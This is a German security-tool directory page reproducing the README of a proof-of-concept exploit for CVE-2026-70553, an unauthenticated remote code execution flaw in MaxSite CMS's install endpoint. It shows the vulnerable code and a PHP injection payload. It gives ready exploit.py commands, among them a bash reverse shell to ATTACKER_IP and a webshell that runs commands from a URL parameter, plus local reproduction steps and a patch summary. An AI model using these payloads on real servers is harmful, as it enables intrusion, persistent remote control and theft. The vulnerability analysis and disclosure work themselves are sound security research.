Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-70553-PoC — Proof-of-Concept-Exploit für CVE-2026-70553, der eine nicht authentifizierte Remote Code Execution (RCE) in MaxSite CMS über persistente PHP-Injection in database.php über den Install-Endpunkt ermöglicht. | Kitploit
Tools/GitHubGitHub/woshidashabi1126/cve-2026-70553-poc
Payload-GenerierungExploitationWebanwendungs-ExploitationPenetrationstestsLernen & Bildung
GitHubwoshidashabi1126/cve-2026-70553-poc

CVE-2026-70553-PoC

Proof-of-Concept-Exploit für CVE-2026-70553, der eine nicht authentifizierte Remote Code Execution (RCE) in MaxSite CMS über persistente PHP-Injection in database.php über den Install-Endpunkt ermöglicht.

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Repository anzeigen
1vor 13 TagenNoch nicht geprüft

CVE-2026-70553 - MaxSite CMS Unauthentisierte Remote Code Execution

CVE CVSS

Proof-of-Concept für CVE-2026-70553: Unauthentisierte Remote Code Execution in MaxSite CMS durch persistente PHP-Code-Injektion in database.php über den Install-Endpunkt.


Haftungsausschluss

Dieser PoC dient ausschließlich Lehr- und autorisierten Sicherheitsforschungszwecken. Der Autor übernimmt keine Verantwortung für Missbrauch oder Schäden, die durch diesen Code verursacht werden. Testen Sie ausschließlich Systeme, die Ihnen gehören oder für die Sie eine ausdrückliche schriftliche Erlaubnis zum Testen haben.


Schwachstellenübersicht

MaxSite CMS-Versionen 105.2 bis 109.5 enthalten eine kritische Schwachstelle für unauthentisierte Remote-Code-Execution im Install-Endpunkt. Der Parameter db_dbprefix wird direkt ohne Bereinigung in PHP-Code eingefügt, sodass Angreifer beliebige PHP-Anweisungen in application/config/database.php injizieren können. Da diese Datei bei jeder Anfrage eingebunden wird, führt der injizierte Code zu persistenter RCE.


Betroffene Versionen

  • MaxSite CMS 105.2 - 109.5
  • Behoben in: 109.6 (2026-06-08)

Technische Details

Grundursache

In install/installer/functions.php konstruiert die Funktion newDatabase() den Inhalt von database.php:

root@kitploit:~
function newDatabase($PV)
{
    if (file_exists(MSODIR . 'application/config/database.php-distr')) {
        $file = file_get_contents(MSODIR . 'application/config/database.php-distr');
        
        // ... other replacements ...
        
        // VULNERABLE LINE: No sanitization of $PV['db_dbprefix']
        $file = str_replace('$db[\'default\'][\'dbprefix\'] = \'mso_\';', 
                            '$db[\'default\'][\'dbprefix\'] = \'' . $PV['db_dbprefix'] . '\';', 
                            $file);
        
        file_put_contents(MSODIR . 'application/config/database.php', $file);
        return false;
    }
    // ...
}

Exploit-Mechanismus

Durch Injizieren eines Payloads wie:

root@kitploit:~
db_dbprefix=mso_'; system('id'); //

Die generierte database.php sieht dann wie folgt aus:

root@kitploit:~
$db['default']['dbprefix'] = 'mso_'; system('id'); //';

Dies bricht aus dem String-Literal aus und injiziert beliebigen PHP-Code.

Patch (109.6)

Der Fix fügte eine Prüfung hinzu, um eine erneute Installation zu verhindern:

root@kitploit:~
if (file_exists(MSODIR . 'application/config/database.php-distr')
    and
    !file_exists(MSODIR . 'application/config/database.php'))  // NEW CHECK
{
    // ... create database.php only if it doesn't exist
}

Verwendung

Installation

root@kitploit:~
git clone https://github.com/woshidashabi1126/CVE-2026-70553-PoC.git
cd CVE-2026-70553-PoC
pip3 install requests

Grundlegende Verwendung

root@kitploit:~
# Check if target has accessible install endpoint
python3 exploit.py http://target.com --check-only

# Exploit with default payload (creates poc_test.txt)
python3 exploit.py http://target.com

# Custom payload: reverse shell
python3 exploit.py http://target.com \
  --cmd 'system("bash -c \"bash -i >& /dev/tcp/ATTACKER_IP/9001 0>&1\"");'

# Custom payload: write webshell
python3 exploit.py http://target.com \
  --cmd 'file_put_contents("shell.php", "<?php system(\$_GET[0]); ?>");'

Optionen

root@kitploit:~
--cmd           PHP code to inject (default: file write test)
--check-only    Only check if install endpoint is accessible
--db-host       Database hostname (default: localhost)
--db-user       Database username (default: test)
--db-pass       Database password (default: test)
--db-name       Database name (default: test)

Einschränkungen der Ausnutzung

KRITISCH: Diese Schwachstelle hat erhebliche praktische Einschränkungen in realen Szenarien.

Voraussetzungen

  1. Der Install-Endpunkt muss erreichbar sein (Verzeichnis /install/ nicht entfernt)
  2. Die Datenbanktabellen dürfen noch NICHT existieren (frische Installation oder geleerte Datenbank)
    • Die Funktion newDatabase() wird nur aufgerufen, wenn keine Tabellen existieren
    • Dies wird in install/installer/post.php über checkTableExists() geprüft

Warum die meisten Websites NICHT verwundbar sind

  • Produktionsseiten haben die Installation abgeschlossen → Tabellen existieren → newDatabase() wird nie aufgerufen
  • Selbst wenn /install/ erreichbar ist, wird der Codepfad zur Injektion durch die Tabellenexistenzprüfung blockiert
  • Unser Massenscan ergab, dass nur ~24 % der Websites einen erreichbaren Install-Endpunkt hatten und 0 % tatsächlich ausnutzbar waren, da bereits Datenbanktabellen vorhanden waren

Reale Ausnutzbarkeit

  • Theoretisch: Kritisch (9.8 CVSS)
  • Praktisch: Sehr gering
  • Realistisches Zielprofil:
    • Installation mitten im Prozess unterbrochen
    • Datenbank manuell gelöscht, aber Code bleibt erhalten
    • Frische Test-/Dev-Instanzen (keine Produktion)

Lokale Reproduktion

Um diese Schwachstelle in einer kontrollierten Umgebung zu verifizieren:

Verwundbare Umgebung einrichten

root@kitploit:~
# 1. Download vulnerable version
wget https://github.com/maxsite/cms/archive/refs/tags/109.5.zip
unzip 109.5.zip && cd cms-109.5

# 2. Start PHP built-in server
php -S 127.0.0.1:8000

# 3. In another terminal, run exploit
python3 exploit.py http://127.0.0.1:8000

Injektion verifizieren

root@kitploit:~
# Check if database.php was modified
cat application/config/database.php | grep dbprefix

# Should see injected code:
# $db['default']['dbprefix'] = 'mso_'; file_put_contents(...); //';

# Trigger execution
curl http://127.0.0.1:8000/

# Verify test file created
curl http://127.0.0.1:8000/poc_test.txt

Referenzen

  • CVE-2026-70553 - CVE-Eintrag
  • NVD-Eintrag
  • VulnCheck-Sicherheitshinweis
  • MaxSite CMS auf GitHub
  • Patch-Commit (109.6)

Zeitleiste

  • 2026-06-08: MaxSite CMS 109.6 mit Fix veröffentlicht
  • 2026-08-04: CVE-2026-70553 veröffentlicht
  • 2026-08-06: PoC veröffentlicht

Credits

  • Entdeckung: Amir Aliu & Enrik Mustafa (VulnCheck)
  • PoC-Entwicklung: Sicherheitsforscher
  • Hersteller: MaxSite CMS Team

Lizenz

Dieses Projekt wird unter der MIT-Lizenz veröffentlicht. Siehe LICENSE für Details.


Denken Sie daran: Praktizieren Sie stets verantwortungsvolle Offenlegung und holen Sie sich vor dem Testen die entsprechende Genehmigung ein.

Tool herunterladen